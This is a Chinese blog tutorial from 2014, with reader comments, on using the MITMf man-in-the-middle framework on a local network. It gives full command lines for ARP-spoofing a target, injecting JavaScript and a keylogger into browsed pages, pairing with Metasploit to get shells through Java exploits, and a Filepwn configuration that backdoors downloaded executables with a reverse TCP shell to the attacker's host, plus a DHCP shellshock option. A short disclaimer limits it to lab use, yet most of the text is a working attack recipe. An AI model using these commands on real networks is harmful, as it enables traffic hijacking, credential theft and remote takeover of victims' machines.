文档章节

内网劫持渗透新姿势:MITMf简要指南

taokkcomcn淘裤网
 taokkcomcn淘裤网
发布于 2014/10/09 12:52
字数 2610
阅读 3054
收藏 164

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境。

0×01 题记

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下。子曰:“长得丑就要多读书!”于是有了这篇文章。

0×02 简要介绍

这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:

https://github.com/byt3bl33d3r/MITMf 

关于工具的一些简介也在git的READEME中说到了。工具本身比较新,没找到中文指南,这里就写一篇文章与大家一起交流探讨。

刚一看到这个工具的时候,第一感觉不过是一个中间人攻击的集合品,也没多大兴趣。本来嘛,这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的,可扩展性非常高。除了“劫持”的概念外,一些插件也起到了“渗透”的作用。

0×03 工具配置

MITMf不支持多系统平台,虽然是python写的,但是玩过以后才发现根本就是给linux量身做的,所以这里想玩的同学如果是win环境的话,可以考虑用虚拟机了,这里建议使用Kali/Linux。

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我们进行简单的安装

cd /opt/mitmf./install-bdfactory.sh

完成之后,进行下一步的安装操作

cd bdfactory/./install.sh

然后,运行的时候我们会发现仍然没办法启动MITMf,会提示一些模块缺失,我们按照指示说的依次用pip安装一下就可以。

这里需要注意一点,因为部分模块的源是在google上面的,pip会安装不上(如pefile),这时候可以自己去https://pypi.python.org/pypi 下载一下然后手动安装,安装命令是

python xxxx install

另外,需要自行手动安装python-nfqueue模块

sudo apt-get install python-nfqueue

0×04 基本功能:cookies盗取,dns劫持,js注入…

这时候我们应该能够成功启动mitmf了。输入./mitmf.py -h 得到以下帮助界面:

工具有几项基本功能:

sslstrip模块

这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块

主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块

该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块

这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块

可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块

可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的攻击。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中不少是很多功能大家都已经玩过了,所以我就单挑几个给大家展示一下。

Inject模块的注入功能

我们首先注入一个html:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果图

然后我们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果图

然后是工具自带的keylogger的js,我们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果图

经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就不再展示了。

0×05 进阶玩法

以上是我们进行的一些基本的玩法,目的只是让大家看一下。功能比较基础大家用的也比较多,接下来的部分,主要给大家展示一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击

首先,我们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url(类似:http://192.168.111.111/UIhsdaVx),使得攻击更为自然。

将metasploit打开,然后载入msgrpc模块

#msfconsolemsf > load msgrpc Pass=abc123

其他部分保持默认就好了。然后是MITMf端,输入以下命令:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

然后我们就只需要等待就可以了,喝杯咖啡等一下。。这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。

如果顺利,我们的jar就被执行了。

这是开始运行等待的时候

成功得到shell

这两张是成功得到shell的界面。因为我的靶机中的java是最新的,msf中的payload无法溢出,只是在靶机中生成了无数的连接。所以这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合同样可以获得shell。简单说一下Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。

同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handlerset LHOST 192.168.217.137set LPORT 1447run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

然后就是等待靶机下载文件然后执行就可以了。

最后我们的靶机执行了文件,然后msf获得到了shell。下面是最终结果:


点此看大图

(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

这里的命令可以用cmd参数自行指定。

关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结

这个工具其实说白了就是一个中间人攻击的大集合,集各种功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击姿势更加丰富。而且,也十分与时俱进的扩展了网页应用的毒化功能,同时给我们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的东西,我会继续与大家分享。

0×07 最后的小插曲

写文章的前一天晚上,室友看我测试各种攻击姿势,然后看了一会儿感叹说,网络越来越不安全了,真是处处是坑,一不小心就可能中招。然后,我们相视苦笑。。。

现在,问题来了:挖坑得用挖掘机。


© 著作权归作者所有

taokkcomcn淘裤网
粉丝 8
博文 8
码字总数 5730
作品 0
武汉
部门经理
私信 提问
加载中

评论(11)

纵使有花兼明月何堪无酒亦无人
纵使有花兼明月何堪无酒亦无人
我测试了下,发现不支持中文监听。还有中文的话网页都是乱码。楼主有什么好的方法么?
USIDCBBS
USIDCBBS
中间人攻击前提是什么
饼干的荣耀
饼干的荣耀
挖掘机……
红色的闪光
红色的闪光
!!!起床就去试试……
taokkcomcn淘裤网
taokkcomcn淘裤网 博主

引用来自“请叫我赵小宝”的评论

楼主还是学生?
不是
请叫我赵小宝
请叫我赵小宝
楼主还是学生?
taokkcomcn淘裤网
taokkcomcn淘裤网 博主

引用来自“烈冰”的评论

卧槽,又是挖掘机……
学挖掘机找蓝翔
taokkcomcn淘裤网
taokkcomcn淘裤网 博主
命令需要手打,直接复制浏览器的代码会出现编码问题

导致出错。
我不叫大脸猫
我不叫大脸猫
居然用的kali linux
烈冰
烈冰
卧槽,又是挖掘机……
OSChina 技术周刊第四期——2014 年度 Eclipse 社区报告

每周技术抢先看,总有你想要的! 移动开发 【翻译】为你的安卓应用实现自签名的 SSL 证书 【软件】Aisen —— 开源的新浪微博 Android 客户端 【软件】chromeos-apk —— Chrome 上运行安卓应...

OSC编辑部
2014/10/13
3.4K
2
Web-安全-学习资料(很全)​

看原文 看原文 看原文 Web-安全-学习资料(很全) Web-Security-Learning 在学习web安全的过程中整合的一些资料。 该repo会不断更新,最近更新日期为:2017/9/19。 9月19日更新: 新收录文章...

Ho0oH
2017/09/26
0
0
使用mitmf 来绕过HSTS站点抓取登陆明文

使用mitmf 来绕过HSTS站点抓取登陆明文 HSTS简介 HSTS是HTTP Strict Transport Security的缩写,即:"HTTP严格安全传输"。当浏览器第一次访问一个HSTS站点,会跳转到https页面,并种植hsts,下次...

Yaseng
2016/04/21
295
0
内网渗透的一些工具和平台汇总

各位老司机在日常的渗透过程中,都会有自己趁手的工具集合,有开源的有私有的,不管什么样的工具组合,能够达到最佳的渗透效果就是好工具,老司机分享一点自己在内网渗透中惯用的开源工具和平...

English0523
2017/08/15
0
0
NSA泄露文件深度分析:NSA与运营商的故事

只是简单看了工具包中的EXP,并在网上关注了一下国外对该工具包的反响。发现该EXP经过一定的修改,能完全适应2016年最新版本的系统固件,一个如此久远的EXP能做到如此实属不易,看来NSA的代码...

燕儿199606
2017/08/01
0
0

没有更多内容

加载失败,请刷新页面

加载更多

spring boot actuator

actuator 是监控系统健康的工具,引入 spring-boot-starter-actuator会暴露一些endpoint. 可通过如下配置来配置这些endpoint的基本配置: 可通过http:${url}:28081/management/actuator/*来访...

ZH-JSON
18分钟前
3
0
9.特殊权限 软连接 硬链接

6月7日任务 2.18 特殊权限set_uid 2.19 特殊权限set_gid 2.20 特殊权限stick_bit 2.21 软链接文件 2.22 硬连接文件 2.18 特殊权限set_uid 会发现有些文件的前三位并不是rwx而是rws,而s就代表...

oschina130111
29分钟前
2
0
好程序员web前端分享如何自学前端?步骤是什么?

好程序员web前端分享如何自学前端?步骤是什么?简单粗暴直接上学习流程。 1、学习HTML+CSS基础 HTML5新特性和CSS3 这个部分主要是需要记忆的知识点比较多,建议大家在学习的时候多加练习,最...

好程序员官方
30分钟前
3
0
创龙基于TI TMS320C6748定点/浮点DSP C674x + Xilinx Spartan-6 FPGA开发板

TL6748F-EVM是一款基于广州创龙SOM-TL6748F核心板设计的开发板,底板采用沉金无铅工艺2层板设计,它为用户提供了SOM-TL6748F核心板的测试平台,用于快速评估SOM-TL6748F核心板的整体性能。 ...

Tronlong创龙
36分钟前
2
0
8年前诞生于淘宝,细数阿里云RPA 的前世今生

9月10日,踏入55岁的马云正式卸任阿里巴巴董事局主席一职,由阿里巴巴集团CEO张勇接任。公寓创业、西湖论剑、美国敲钟,从成立到登顶中国最值钱的公司,阿里巴巴只用了20年。 阿里云RPA,201...

阿里云官方博客
40分钟前
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部